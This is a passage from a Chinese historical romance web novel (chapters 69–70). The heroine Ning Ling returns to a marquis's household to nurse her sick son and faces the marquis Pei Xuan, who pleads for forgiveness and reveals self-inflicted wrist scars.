宁泠被他无耻的模样气红了脸,之前保持的冷静片刻烟消云散。 偏裴铉还要继续逗她,他俯下身子脸颊靠近宁泠讨价还价:“生气啦?让你打我一巴掌消气,打两巴掌也成,不过我得再抱一下。” 宁泠恨得贝齿咬嘴唇,真想直接扇一巴掌给流氓。 可泽铭还在,发现裴铉脸上的痕迹肯定要问他。 宁泠气鼓鼓着小脸不搭理他,水终于沸腾了,她想给宁泽煮点茶。 “放几朵菊花就好了,他等会肯定偷吃糕点,清热解腻合适。”裴铉拿起旁边柜子上的罐子,熟练地夹了几朵菊花进去。 稍等片刻后,他就开始开始将热水倒入茶壶。 宁泠沉默地看着他,没想到他对照顾孩子这么尽心,平日里应该经常亲力亲为。 “一个男孩子不知随了谁,喜欢吃甜食。”裴铉看了宁泠一眼,“担心他长蛀牙不准他多吃,结果他在一品楼和某人一样,得心应手地偷吃酥蜜饼。” 宁泠回忆往事,气恼地嗔视裴铉。 多少年的小事情,就几块酥蜜饼的小事,还抠门小气计较这么久。 裴铉被她一眼勾得魂都没有,娇俏动人,难耐地舔了舔嘴唇。 宁泠已不是未经人事的小姑娘,看他眼神晦暗,急冲冲地拎着茶壶离开。 “小心烫。”裴铉在她身后跟上。 裴铉和宁泽铭在江南逗留了三日,宁泠一直陪着宁泽铭。 到了要启程回去时,宁泽铭红了鼻子。 裴铉的眼圈泛了红,一大一小两个都眼神央求地看着宁泠。 码头的风徐徐吹来,宁泠的绿绦随风飘动,时不时与身旁的裴铉发丝纠缠。 “娘有空就去盛安城看你。”宁泠蹲下安抚宁泽铭。 宁泽铭点点头,追问道:“会很久吗?娘会为我过生辰吗?” 这次见面就差不多间隔了一年,宁泽铭心里不安。 宁泠保证:“不会比这次久,会来陪泽铭过生辰。” 裴铉打开一盒木盒,里面是宁泠之前的那对手镯:“带着吧,还有份文书。” “不必。”宁泠明显不想和裴铉再有往来,明确拒绝。 裴铉解释道:“你一个人在外,我担心孩子也担心,有了这对玉镯你缺银子可以应急,遇上像白家的麻烦事也可当了通知我。只是路途遥远,我恐不能及时赶到,有了文书你去求助官府,他们见了自会处理。” 宁泠一个人在外,在江南城还好。尤其一个人在外游山玩水,危险重重。 他常常对着天空担忧,既怕天灾又怕人祸。 旁边的宁泽铭一个劲点头赞同,宁泠无奈收下:“好吧。” 到了即将上船启航时,宁泽铭的视线来回看爹娘,他鼓起勇气问道:“爹说他惹娘生气了,娘亲你要多久才会消气原谅爹?” 第69章 第69章【VIP】 宁泠愣了愣,没想到宁泽铭忽然问出这个。 她不知道如何和宁泽铭说这件事情,而且她自己从没想过多久原谅裴铉这个问题。 “你为爹求情,你娘可要偷偷伤心了。”裴铉牵住宁泽铭的小手,笑着调侃。 宁泽铭小脸紧张地红了:“才不是!我坚定站在娘亲这边,娘亲想生气多久就多久。” “好,娘相信你。”宁泠为他理顺被风吹乱的头发。 林韦德出声提醒:“夫人,侯爷该出发了。” “张川还好吗?”看到林韦德,宁泠忽热想到那个爽朗的男人。 林韦德咧嘴大笑:“好得很呢,娶妻生子美满得很。” 宁泠点点头,大家都平安无事。 她挥挥手,将恋恋不舍的一大一小目送上船。 河边水流滔滔,微风拂面,阳光坠撒在河面上波光粼粼,星光点点。 宁泠不由得望着远行的大船走神,多久能原谅裴铉? 在她的思想里,她与裴铉最好一生一世不见,此生各自安好。 可他们有了世间最深的羁绊,孩子。 若是从头开始想来,裴铉的罪行罄竹难书。 逗弄地喂她吃青梅,耻辱地穿耳眼,被人污蔑不相信她,逼她上塌,更想迫使她为妾。 但不可否认他也有许多对她好的时候,算来算去,真是一笔糊涂账。 宁泠烦躁地摇摇头回了香铺,因着白佳暂时还没回来,白洲言便帮忙看店。 他问道:“送走了?” “送走了。”宁泠点点头。 “我知你不想见他,特意没给他下帖子,没想到他还是不请自来。”白洲言解释。 宁泠笑笑摇头:“他向来肆意惯了,想来就来。” 白洲言没说话了,初见他以为裴铉是个逼良为妾,所以宁泠疯狂逃离。 茶房窗柩一瞥,其实他们的感情比他想象中要好的多。 裴铉逗她哄她,在她面前从没高姿态。 但面对旁人时,骨子里傲慢强势,不屑一顾。 宁泠也不一样,她面对所有人都是温和善良,平易近人。 可对裴铉时,会害羞会恼羞,会发脾气。 他不知他们之间具体发生了什么,但他清楚地明白无论如何他都没有机会了。 几日后盛安城内,裴铉抱着熟睡的宁泽铭回了侯府。 等他将宁泽铭放好床榻后出屋子后,林韦德小声问道:“前几天白家送了礼来,侯爷怎么处理?” 裴铉冷笑一声,“扔了。” 白家真是会做人呢,又不打算下帖子还假仁假义地送礼。 别以为他不知道白洲言那点小心思,也不想自己配吗? 一个窝囊废自己妹妹都护不住,还敢肖想宁泠。 林韦德赞同地点点头,救命之恩漠然无视真是白眼狼。 一晃几月而过,夏日的炙热消解,初秋萧瑟。 树叶黄了呼啦啦地掉落,天天时冷时热。 前几日忽地下了场暴雨,天气顿时变得冷飕飕。 争晖院内,气氛严肃,屋内时不时传来一阵揪心的咳嗽声。 太医皱眉说道:“换季冷热交替,小世子感染了风寒,老夫先开方子抓药。” 裴铉看着泽铭不舒服的脸,心口疼得厉害:“李太医,大概还要多久能好?” 宁泽铭的病情都反反复复好几天了,日日按时服药。 他请的是最擅长儿科的太医,可喝了几天药依旧不见好转。 “小孩子生病是这样的,侯爷莫担心。”李太医不敢说出个明确时间,几时病好哪有定数。 不过小世子的病情的确不好,时不时发低烧,不停咳嗽。 裴铉叹气,拿起温热的汗巾给宁泽铭擦拭脸蛋,希望他能舒服些。 这些天日夜不停守在床边,胡茬冒出来都没剃。 他眼里布满血丝,愣愣看着沉睡咳嗽的宁泽铭。 好端端地怎么生病了?明明他和几个姑姑都很仔细小心。 孩子生病,当父母的恨不能代为受过。 “娘,娘,娘!”宁泽铭小声呼唤着。 裴铉赶紧用宽厚的手抚摸宁泽铭的小脸颊:“别害怕,爹在这里,爹陪你。” 可宁泽铭在睡梦里意识并不清晰,一个劲地喊着娘。 边喊还边哭,带着哭腔喊娘,裴铉心如刀割。 林韦德见了不好受:“侯爷,不如我去通知夫 人?” 依他之见,还是去江南请人回来最好。 首先世子从小是夫人带大,与她最亲近最依赖。 现在世子对什么都没胃口,有夫人哄着肯定能多吃些,病就能好得快。 其次世子是夫人身上掉下的肉,有必要义务去通知她。 “不必。”裴铉脸色疲惫,语气坚定,“如果泽铭生点病,我这个做父亲的都不能照顾好,还要她来操心,岂不是太失责。” 他照顾泽铭,但背后还有一整个侯府跟着费心费力,但宁泠以前一个人独自带孩子整整五年,身边没什么人,银子也没多少。 他难以想象她受了多少苦楚,可她不仅能将宁泽铭照顾好,还能自给自足开香铺。 林韦德若是通知了宁泠,依照她多思多虑的性子,恐怕做船回来几天几夜都睡不着。 宁泽铭的病过了两日还是没起色,尤其到了后半夜常发低热,醒了总是咳嗽得厉害。 裴铉心急如焚,可好大夫都看了遍,还是没有见效。 整个侯府都跟着着急,小世子是侯府的开心果。 他生了病,裴铉整天阴沉着脸,气势凌人。 林韦德看了看,暗下决心。 连夜坐船出发,小世子也肯定希望夫人在。 几日后夜晚的香铺,传来一阵阵急促的敲门声。 白佳嫁人后只白天在香铺,宁泠皱眉穿好衣衫,心慌不已,半夜敲门准没什么好事情,上次白大哥的事情也是这样。 她借着朦胧的月光疾走开门,抬头对上林韦德面带歉意的脸。 “夫人,小世子生了病七日都不见好了,夜里常常囔囔着要娘。”林韦德将详情交代,“侯爷不准我来打扰你,可我实在心疼小世子,你愿意去侯府看看小世子吗?你若是不愿意,我就先告辞了。” “病了这么久才说?”宁泠闻言有些生气,“你等等,我马上和你去。” 宁泠心里对裴铉有点怨言,孩子生病了竟然不告诉她?这是个什么意思? 宁泠手脚麻利收拾好行礼,又写下了纸条留在柜台上,跟着林韦德连夜走了。 自小宁泽铭生病每一次都是她陪着,现在知道孩子病了却不能马上相见,宁泠心里恨不能长一双翅膀马上飞过去。 几日的路程,下了船后宁泠都来不及看一眼盛安城,火速坐马车去侯府。 到了侯府门口,宁泠望着门匾却生出几分踌躇。 六年了,她没想到还会有一天能回来,还是她主动的。 “夫人。”林韦德喊了声,担忧地望了一眼。 不会到了门口,又改主意不去了吧。 宁泠收回视线:“走吧。” 旁边的侍卫都不认识他,但都认识林韦德,见他喊夫人都暗暗心惊,也不敢阻拦。 进了侯府,走过那条已经走过无数遍的路。 宁泠都快以为自己早忘了这里,却没想到每一条路通往那个地方都清清楚楚。 原来她什么都没忘记,清楚记着一切。 有林韦德跟在身后,宁泠畅通无阻到了门外。 她深呼吸后一口作气打开门,绕进内室。 床榻前有一道大屏风隔绝视线,裴铉挺拔的身影映在屏风上。 “泽铭,喝药了。”裴铉细心地吹凉汤药。 宁泽铭的病好转了不少,至少咳得没那么吓人了,之前像是要把五脏六腑都咳出来才罢休。 “太苦了,我不想喝。”宁泽铭侧过头拒绝。 裴铉坚持:“胡闹,生病了不喝药怎么行?” 第一次带孩子的裴铉没有经验,又不敢凶孩子吓唬他,又要让他乖乖喝了药,十分头疼。 : “我觉得我快好了。”宁泽铭圆圆的眼眸转转,“已经不用喝药了。” “好没好是大夫说了算,你打算以后去当大夫?”裴铉反驳他。 “反正我不喝。”闻着漆黑发苦的汤药,宁泽铭用被子蒙上头躲避。 裴铉端着汤药,用孩子喜欢的吃食哄道:“你喝了这碗药,晚上准你吃一个酥蜜饼。” 虽然大夫说这几日吃些清淡吃食,不要油腻甜食。可吃一个应该无事吧?药总是要喝的。 宁泽铭狡黠地笑笑,眨巴眨巴那双无辜的眼睛,正要应下时。 “病还没好就贪吃,想挨打了?”一道熟悉的女音从屏风后传来,父子两都身影微僵,齐齐转身。 宁泠从屏风后走出来,不赞同地睨了眼裴铉:“你这么大个人,还拿一个小孩子没办法。” 她从裴铉手里接过汤药:“起来喝药。” 虽然宁泽铭从小到大比较听话懂事,但小孩子哪有不胡闹的,所以不可避免地挨过打。 宁泠真板着脸,不苟言笑时,宁泽铭还是怵她。 乖乖从被窝里伸出来,倚靠在床头等待她喂药。 宁泠一勺一勺喂着,宁泽铭听话地一口口喝着,连苦都不敢喊了。 裴铉啼笑皆非,没想到这小子还看人下菜碟。 “现在大夫怎么说?”宁泠转头问道裴铉。 裴铉:“现在偶而会发低热,其他症状都好了,太医说再喝几天药就好了,你别担心。” 宁泠不悦地瞪他一眼:“惯子如杀子,你别太溺爱了。” 生病了还要让孩子乱吃东西,以前还以为裴铉做事有分寸,现在看来也不可靠,他以后不会将宁泽铭养成一个纨绔子弟吧? “孩子刚大病初愈,我也是想让他恢复点胃口。”裴铉心虚地摸摸鼻子,示意地看一眼宁泽铭。 宁泽铭立刻会意,将宁泠紧紧拥抱:“娘亲,咱们好久没一起睡觉了,你陪我午睡嘛。” “你都六岁了,还需要陪人睡?”宁泠点点他的小鼻子,嘴上虽然这么说,但还是倚在榻上陪他。 裴铉主动退出内室,给母子俩留出空间。 一出来就碰见外面候着的林韦德,他忐忑不安想跪下请罪。 裴铉一把扶起他的肩膀,摇摇头。 裴铉坐在院子外面喝茶,没一会宁泠就出来了。 “睡着了?”裴铉笑着问道,他就知道宁泠会出来找他。 宁泠皱眉,语气不善:“孩子生病了,你为什么不打算告诉我?” 若是孩子有个三长两短,她又相隔甚远,可如何是好? “我若立马派人通知你,你会不会暗暗认为我用孩子去要挟你?去捆绑你?”裴铉慢悠悠喝着茶,“你敢说没有一点点这样的想法。” 宁泠沉默了,不可否认她站在侯府门口下时思考过这个问题。 裴铉无奈地耸耸肩:“告诉你,你怀疑我另有用心。不告诉你,你认为我做得不对,宁泠,你让我怎么办?” 横竖都要怀疑他不怀好意,他的后半句话带着委屈,无声地控诉。 “这些先不说,你带孩子的教育方式不对!”宁泠虚张声势,转移话题,“不能什么都顺着孩子,你作为大人不能被小孩子牵着鼻子走,万一以后成了一个无法无天的小霸王怎么办?” 原本可以理直气壮说的话,宁泠现在却感觉有点理亏。 “是我的不对。”裴铉坦诚承认错误,“可宁泠这些都需要慢慢学,我会努力的,你多教教我可好?” 宁泠说她不想回侯府,其实她是不想见他,但他希望每日都能见她。 他深情好看的眼眸专注看着宁泠,充满真诚与恳求。 宁泠警惕看他一眼,怀疑他以退为进。 可他一番话说得有理有据,宁泠暂时找不到反驳的理 由。 “宁泠,孩子生病时我备受煎熬。”裴铉回想着前几日的担忧,“你独自抚养泽铭这么多年一定很辛苦。” “还好,有白家兄妹帮我,尤其白大哥精通医术帮了我许多忙。”刚开始宁泽铭生病,宁泠也是又慌又怕,多亏白洲言一遍遍安慰她小孩子这样很正常。 提到白洲言,裴铉语气酸溜溜:“那日看见你们倒像是一对。” 现在一口一个白大哥,叫得很是亲热, “与你何关?”宁泠不客气反问道,她讨厌他的掌控。 “与我何关?”裴铉眼眸微眯,“你不会对他有心思吧?” 宁泠懒得理他,转身要走。 “泽铭和我说,小时候以为白洲言是他爹。”裴铉拉着宁泠的手,“你知道我听了后多难过吗?” 宁泠冷冷看着他手:“松手!” “宁泠,以前我做得不对,你怎样惩罚我都可以,但是你能不能别喜欢上别人?”裴铉莫名地心慌。 他虽然认为白洲言软弱无能,可宁泠向来厌恶他的强势,喜欢脾气好的。 “喜欢又如何?不喜欢又如何?”宁泠冷笑,“你的意思我是你的所属物,只能一颗心挂在你身上。” 她还以为裴铉改了,没想到是放长线钓大鱼,拿捏准了有宁泽铭在,他可高枕无忧。 见宁泠语气不耐,神情略带厌恶,裴铉心乱如麻,想哄哄她开心,可又实在说不出什么随便她喜欢谁都可以的鬼话,更加不可能眼睁睁看着她另嫁他人。 “宁泠,我知道你不喜欢我。”裴铉理了理思路,“若我纳个别的女人进府,你会如何?” 宁泠毫不迟疑:“我会带走泽铭。” “为什么?”裴铉继续,“泽铭依旧是世子,他的地位不可动摇,你既不喜欢我,难不成也不准我喜欢别人?” 宁泠顿时哑口无言,久久未出声。 “你不肯原谅我,不肯做我的妻。”裴铉紧紧握住她的手,“又霸着我不准碰别的女人,但自己又想着别的男人,还想给泽铭再找个爹,你说对我公平吗?” 他以为他和宁泠来日方长,总有一日宁泠会回心转意。 却从没想过她会喜欢上别人,会嫁给他人为妻。那他和泽铭怎么办? 宁泠不解地看了眼裴铉,她何时说她要嫁人,要给泽铭找后爹了? 但裴铉的话的确给她提了个醒,他们之间到底是什么关系? 第70章 第70章【VIP】 宁泠的视线投落在他紧握的手上,接着一根根扳开他用力的手指。 裴铉本不愿松手,可宁泠态度坚决,他也不敢反抗。 “若你另有她人,我会带走泽铭。”宁泠态度郑重,语气严肃,“我不放心别的女人抚养他。” 话本上写了许多后娘,为了谋取自家孩子的地位,狠心害孩子。 虽然世界上有很多好的后娘,可宁泠是孩子的亲生母亲,她不放心。 “我哪敢找别的女人。”裴铉学着宁泽铭耷拉眉眼,可怜兮兮卖弄可怜,“你狠心隐姓埋名五年多,我都洁身自好。现在孩子和你都有了,我还会去做蠢事?” 宁泠就知道他要翻旧账,可又是事实。 她和裴铉之间暂且不论,可让父子分离五年多,的确是她理亏。 “你别去找野男人好不好?”裴铉凑近她身边,语气戏谑“你喜欢什么样,我改我学。” 青天白日说这些事情,宁泠瞪他一眼。 “爹娘,你们在干嘛?”宁泽铭揉揉脸颊,小心翼翼问道:“你们吵架了吗?” 他睡得迷迷糊糊,听见爹情绪激动地说话。 宁泠连忙过去将他抱在怀里:“没有,我们在聊天。” 在宁泽铭看不见的地方,宁泠怒气冲冲再瞪裴铉一眼,把孩子都吵醒了。 裴铉做错了事,赔笑道:“怪爹说话声音大了。” “没事,我都睡够了。”宁泽铭一手牵着宁泠,一手牵着裴铉。 他笑嘻嘻,亮晶晶的眼眸望着两人。 “外面风大,进去吧。”宁泠牵住他往里走。 室内,宁泽铭满怀期翼:“娘,你在这里待多久呀?” 他记得娘说不喜欢这里,虽然他想娘多陪陪他,可他不想娘不开心。 “小小年纪瞎操心,等你病好了再说。”宁泠摸摸他的脑袋。 孩子还生着病吃着药,当娘的自然不可能一走了之。 宁泽铭偷偷猜想,那他可真希望病一直不好,爹娘都一直陪着他。 “少打哪些馊主意。”宁泠看他可爱脸上露出沉思,出声打断。 果然血浓于水,别看平时宁泽铭乖乖的,其实常常和裴铉一个样子。 脸上笑得单纯无辜,一肚子坏水。 “明天是十五了,爹还在家吗?”宁泽铭转移话题,他希望爹娘都陪着他,而不是一个。 “自然会陪你。”裴铉的视线又落在宁泠身上,“也要陪你娘。” 他日夜虔诚祈求,不就是为了眼下这一刻。 宁泠古怪看他一眼,什么时候裴铉还开始信鬼神了? 到了晚上,有宁泠在一旁监督吃饭,宁泽铭乖了许多。 晚上哄着宁泽铭睡觉时,他对宁泠说道:“以前都是爹陪我睡,今晚娘陪我好不好?” 其实他想要爹娘一起陪,以前他听小伙伴们说他们小时候就是这样的。 “还是爹陪你吧。”裴铉和宁泽铭解释说道:“你娘坐了几天船着急地没睡好。晚上和你睡还要照顾你,肯定会休息不好。” 宁泽铭想想点了点头,不能累着娘,就跟着丫鬟去洗漱了。 趁着宁泽铭不在时,宁泠问裴铉:“晚上我睡在哪里?” 她不想待在侯府,她担心躺在侯府的床上,脑海里全是过去的回忆。 “以前你的偏房可好?”裴铉回答,“你走之后一直没变,只有下人打扫卫生,没人住过。” 以前晚上想她时,他常常歇在那。 “不去。”宁泠将心里想法说出,“我想去住客栈。” 两个人有了孩子,又住在一起,岂不是夫妻? “既有了打算,又来问我作甚。”裴铉轻笑,“还要偷偷摸摸趁着泽铭不在说。” 她不仅想住客栈,还希望他替她打掩护。 估计一是怕宁泽铭知道不开心,二是怕宁泽铭闹着跟她去客栈。 看见他脸上狡黠的笑意,宁泠气势弱了:“我每天早晨早点来,不会让他发现。” “不想住侯府也成,住你以前租的那套宅院可好?”裴铉现在可不敢拿捏要挟她了,宁泠肯给他点好脸色,他巴不得多说几句话。 “租期不是早到了吗?”宁泠诧异,“你租了?还是买下了?” 记忆泄闸倾泻而出,曾经回忆似雪花碎片飘来。 “你住过的地方,我不舍得别人糟蹋。”裴铉眼眸真诚望着她,“而且我想着你总要来盛安城看孩子,不愿住侯府,次次都住客栈多不方便,宅子写的你名字,以后你也有个落脚处了。” 他不希望她过漂泊不定的日子,虽然她不愿侯府成为她的家,可还是要个能遮风挡雨,能让她感到安全的空间。 宁泠犹豫了,若是其他宅子她定会一口回绝,可那套宅子承载着她的过去。 “不用了。”宁泠还是拒绝了,过去就是过去了。 “你不答应,那泽铭问起你,我只有实话实说了。”裴铉无赖摊摊手,笑得得意。 看他这混账样,宁泠气鼓鼓。 “有了这宅子,以后你可以不来侯府了,我直接把孩子送过去。”裴铉又抛出一个诱惑。 侯府绝对是宁泠最深恶厌绝的存在。 果然,宁泠松口了:“好吧。” 两人陪着宁泽铭睡着后,裴铉要去送宁泠。 宁泠小声拒绝:“他醒了见不到人,着急怎么办?” “今天还说我惯子如杀子呢。”裴铉扬扬眉梢取笑她,“都六岁的男孩子了,早该一个人睡了。” 天天这样哄着,以后宁泠和他和好了,孩子还跟着一起睡,怎么能行? 宁泠本能想反驳,却暂时找不到合适了理由。 裴铉将他修长的手指,轻点宁泠粉嫩的樱唇:“嘘,吵醒了我可不负责啊,你就走不掉了。” 他指腹温柔轻点她柔软的唇肉,这忽如其来的动作,吓得宁泠圆润的眼眸睁大,往后退步移开。 她不赞同地皱眉,想出言呵斥他,别动手动脚。 裴铉又起了逗她的心思将手指移回,放在他唇前还伸出舌尖舔下,俊美的脸上神情陶醉:“真甜。” 登徒子,浪荡子!惯会耍流氓。 宁泠不和他多说,转身出了屋子。 裴铉赶紧追上,可不能把人真惹恼了:“害羞什么,又不是真的亲你。” “不准说了。”夜里宁泠的耳尖偷偷泛红,娇声怒斥。 漆黑笼罩的夜里,裴铉提着一盏明亮的灯笼。 黑夜他不放心宁泠一个人回去,但若是叫下人去送她多半不愿意。 “过来些,你一个人在前面,黑漆漆看不见路。”裴铉在后面喊着,急步跟上。 似是为了验证他的话,宁泠惊呼一声蹲在地上。 裴铉过来一看,她白皙的手捂住脚踝,神情不适。 “松手,我看看是不是崴脚了?”裴铉着急说道。 宁泠试着站起来,发现并不严重:“只是扭了下不严重。” 裴铉蹲在她身前:“我背你回去。” “不用。”宁泠拒绝,“我自己能走。” 裴铉却扯住她的衣角:“别逞强,现在扭了下回去睡一觉就好了。可你若是强撑要走,小心回去肿了,宁泽铭可眼尖了。” 宁泠陷入沉思,还没考虑好。 裴铉直接手绕住她的双腿,将她背了起来,忽然凌空吓得宁泠惊呼一声,下意识地趴在裴铉背后,手绕上他的脖子。 “放心,还能摔了你不成?”裴铉面带笑意揶揄她,一手拿起放在地面上的灯笼。 宁泠气恼地用力捶他肩膀:“我让你背我了吗?” “你也没拒绝啊。”裴铉吊儿郎当反驳。 路上裴铉惬意地享受这片刻幸福,她柔软纤细的身姿趴在他身上。 他们像是一对寻常夫妻般。 裴铉边走边与她闲聊,这条街哪里开了家铺子,哪家又关门了。 他一个人曾走过这条街无数次。 “你第一次去的哪家花楼,现在都关门了。”裴铉想到后随口说了。 宁泠没出声,却不由回想她当年消了奴籍后逃之夭夭。 寂静的夜里,宁泠问道:“你干的?” “虽然是我干的,可我是为民除害。”裴铉自证清白,“花楼逼良为娼,恶贯满盈。我将盈利分散给她们,放了她们自由。” 这些年来他不敢麻痹自己,一心扑在公务上,帮着宣帝考察百官。 最是看重当地治安,教化风气。重点惩治强抢民女,以官压人。 所做一切,皆是担心她一人在外受欺负。 宅院走了许久才到,裴铉拿出钥匙开了门。 宁泠看着里面很干净,布置很简单适用,没有什么很贵重的物件。 他将宁泠放在木凳上:“我去烧水。” 宁泠不语,沉默地看着他。 水烧好后,裴铉用木盆端来热水:“天冷了烫烫脚再睡,以前晚上你总是脚冷。” 有裴铉在,宁泠不肯脱鞋袜。 “你身上哪儿我没见过?”裴铉挑眉一笑,别有深意的视线一寸寸扫视她。 宁泠气红了脸:“滚出去!” 他嘴里就没几句正经话。 裴铉现在也只敢打打嘴仗:“好吧,我走了你早点睡,明早我来接你。” “我自己可以去。”宁泠不想和他单独接触过多。 “脚受伤了就老老实实坐马车。”裴铉充耳不闻她的话,又自顾自说道:“这么多年,想不想见见你那些族亲?” 当初可是因为那些族亲,打了他一巴掌。 那是他年轻气盛,不知好歹掐了她,后来常常午夜惊醒后悔不已。 “不必见了。”提到这件事,宁泠依旧郁闷。 裴铉笑得张扬:“见见嘛,一定解气。” 宁泠诧异地看着他,他又想出什么坏办法折磨人了? 裴铉故作神秘逗她不说:“他们可哭着求着要见你呢。” 宁泠还欲再问,裴铉催促她烫脚:“我走了,小心水凉了。” 说完后他轻手轻脚离开。 第二天天色刚泛了点白,裴铉驾马车来了巷子。 因为前几日在船上担心宁泽铭生病,宁泠没睡好,现在她睡得很沉。 到了后裴铉也不催,利落翻身进了宅院。 想推门而入,发现她将屋内门锁得严严实实,甚至他还猜测她用桌子抵在门后。 计划落空,裴铉意料之中。 他在外面等了半个时辰后,宁泠睡醒开了门。 她看见他倚靠在外面问道:“来了怎么不敲门叫我?” 裴铉笑笑:“你好不容易睡个好觉不忍心打搅。你要真可怜我,明日可别锁门了,让我进来坐坐,外面可冷了。” 他故作可怜搓了搓手,手指泛红,宁泠估计他在外等了许久。 “不锁门,晚上贼进来怎么办?”宁泠不赞同,担忧问道。 裴铉大笑出声:“放心,在你夫君多年监管下,没人自寻死路。” “你不是我夫君。”宁泠皱眉纠正他说法。 裴铉向她摊手索要:“把灶房钥匙给我,我给你烧热水洗漱。” “有点晚了,不用。”宁泠抬头看了看天色,打算将就用冷水。 裴铉宽大挺拔的声音堵在门口:“不行。” 眼见他要和她较劲,宁泠不敢再耽搁时间,将钥匙给了他。 待水烧好洗漱后,抓紧时间赶着马车回了侯府。 路上有人见马夫长得英俊不凡,气质矜贵,众人议论纷纷。 有时碰见相熟的人,都张大嘴巴目瞪口呆。 大家都猜测里面的人是谁,竟能让裴铉心甘情愿做马夫。 半月时间晃过,宁泽铭的病早好了。 天天活蹦乱跳,精力旺盛。 林韦德走近汇报:“夫人的两位伯父来了。” 半月时间宁泠都忘记这件事了,没想到人突然到了,眼眸慌忙,不知怎么相处。 裴铉唤来下人:“去把小世子带去玩玩。” 宁泽铭以为他们要谈公事了,习以为常地离开,出去玩耍。 裴铉安抚宁泠:“别怕,就当看一场戏。” 宁泠不解地看他一眼,他葫芦里又卖什么药? 她本想多问几句,就听见外面匆忙的脚步声。 似乎还有拐杖杵砸在地面的声音,夹杂她几位叔伯鬼哭狼嚎的声音。 “宁泠啊,我们知错了,不该卖了你。”一位男人头发全白,脸上深深的眼袋,神情疲惫。 另外一个男子身体枯瘦,精气神都被吸干似得,声音沙哑:“你饶了我们吧。” “你们不是在做官吗?”宁泠面露迷茫。 遥想他们卖她的时候,他们还是富态臃肿。 现在虽然过去了将近八年,但他们犹如老了几十岁,死气沉沉老态龙钟。 “我们不要做官了。”大伯焦急说话,人都快哭出来。 干瘦的二伯连忙附和:“对,我们这种人渣,连族亲都卖了的人怎配为官,你快放我们回乡吧。” “你实在怨恨我们,把我们关牢狱也行。”大伯一把鼻涕一把泪说道。 宁泠彻底迷糊了,当官是多少人求之不得的事情,他们为何如此畏惧? “当官不好吗?”宁泠问道。 大伯以袖掩面哭泣:“宁泠啊,我们虽然卖了你但没想过折磨你,将你卖给干净的人牙子。如今你贵为夫人了,我和你二伯也算是半个媒人,牵线搭桥了。” “我们不是享福当官,我们是当牛做马啊。”二伯干枯的身形颤抖,“侯府给我和大哥一人配了个侍卫,说是为了保护我们,实则天天折磨我们,监督我们干活。我们一天就睡两三个时辰,天天忙不完的活,干不完的公务,累得天天靠喝药吊命。” 大伯接着哭诉:“天不亮就起来干活,侯爷说要清廉为民,我们身边一个下人都没,啥事亲力亲为,大夏天的去帮着佃户种庄稼,冬天帮着妇孺老人干活洗衣服劈柴。天天雷打不动情去走访调查,日日脚都磨出血泡,日夜为百姓处理案件。遇见哪家失火,我们要第一个赶去救火啊!洪水来了,我们都要第一个扛沙袋啊!” 他们做官是为了前呼后拥的富贵生活,不是无私奉献,为了个清官名声累死自己啊! 宁泠终于弄懂了,视线落在裴铉身上。 他慢悠悠坐在一边喝茶,慵懒惬意看着他们涕泗横流,哀嚎连连。 他显然心情很好,嘴角上扬赞美道:“宁家人果然都心性纯良,助人为乐。两位伯父在当地享尽百姓们的赞誉啊,两袖清风,清政爱民。” “宁泠啊,我和你二伯 一把年纪了,你大大慈悲放了我们吧。“大伯恳求道。 二伯拼命点头:“对啊,你实在恨我们,把我们丢进牢狱都好啊。” 坐牢还不用干这么多活,还有人管饭,每天至少能睡个四个时辰。 他们每次审问犯人时,都恨不得代替对方坐牢。 他们眼巴巴地望着宁泠,裴铉挥挥手:“路途遥远,将我两位好伯父请下去好好休整一番。” 他话一出,两人身边的侍卫恶狠狠剜了他们一眼,他们顿时瑟瑟发抖,一句话都不敢说,灰溜溜起身走了。 “当年你因为这个狠狠打了我一巴掌。”裴铉看着宁道歉,“我那时候做得不对,还掐了你。” 宁泠蹙眉:“他们一直这样?” 她以为裴铉许下重金让他们来劝说她为妾,以为他为了恶心她,让他们做大官享尽富贵。 “对呀,他们欺负你卖了你,我怎么可能让他们过得好?”裴铉的嫌弃厌恶不加掩饰,“但他们毕竟是你的族亲,是你的亲人,我若是伤了他们杀了他们,你恐怕不忍。可让我忍气吞声,不为你报仇,那也不行。现在他们这样挺好,既是赎罪也是为民造福。” 宁泠没说话,她的确对他们心有怨言,他们收了母亲死后所有的钱财,转身却将她卖了。但六年多这样的生活,折磨得他们苍老不已。 “放了他们吧,六年已经够了。”宁泠轻呼一口气。 大伯刚才说得是实话,他们没有想要她死也没故意折磨她,不然大可以为了高价卖她去脏地方。 现在她算是报仇了,也不想要他们的性命。 裴铉哐当一声忽然跪在她身前。 他声线低沉:“宁泠那我呢?你要多久才能原谅我?我要怎么赎罪才可以平息你的恨意?” 她可以原谅卖她的人,他是不是也有机会? 宁泠端坐在木椅,裴铉直直跪在她脚边,他身形很高,跪下依旧欣长。 裴铉骨节分明的手拿着当年她划伤脸的发簪,语气发狠:“从前我为你穿耳眼,今日我便挑断手筋赎罪。” 宁泠惊恐地看着下首的他,他拿起发簪就要刺下,她立即制止:“住手!” 宁泠起身攥着发簪要夺下,裴铉死死捏着不肯松手。 “松手!”宁泠大声吼道,裴铉缓缓松手。 拿走发簪,宁泠才看清楚他手腕上层层叠加的伤痕,新伤掩盖了旧伤,密密麻麻。 宁泠闭眼深呼吸,平复激动的情绪,冷静指着伤口问道:“这是怎么回事?” 她清楚和裴铉最好的相处方式,是不问不管,视为不见。 可看到骇人的伤口,丑陋的伤疤,她还是问出了口。 “是你坠崖的五年内,我自己划伤的。”果然裴铉欣喜若狂,激动闪亮的眼眸望着他。 他就知道宁泠心里还有他,还会担心他。 宁泠心绪复杂:“何必呢?坠崖之事谁也怪不了。” 虽然当年那群人目标是他,但是她执意去山上,他没有一次舍弃她,最后他高热生病,依旧拼命护她。 “我愧疚,我恨自己。”裴铉的眼泪不受控地滴落,“都是我逼你才会发生,我以前对你做了很多混账事,伤了你的心。推荐你伯父为官的事情,我原本可以好好和你说,偏生为了惩罚你逃跑故意恶心你。但宁泠我真的爱你,我是真的喜欢你,你给我一个机会好不好?” 他情绪激动,泪眼期待地乞求她,什么男儿膝下有黄金,男儿有泪不轻弹,他统统抛之脑后,他只要宁泠。 “我们现在不好吗?”宁泠问道。 她认为现在这样,孩子跟着裴铉她更加放心,她也自由就很好。 “好。”裴铉边笑边哭,唾弃厌恶自己,“曾经我在神明前祈求,只要你平安,什么孩子都不要,你不愿意回来都可以,只要你知道健健康康活着,我就心满意足了。但人是贪心的,是不满足的,我还是爱你,还是希望我们在一起。当年我傻傻以为有了孩子能留住你,后来才知大错特错。” 他满腔澎湃滚烫的爱意,有时候伤了自己也灼伤了心爱之人。 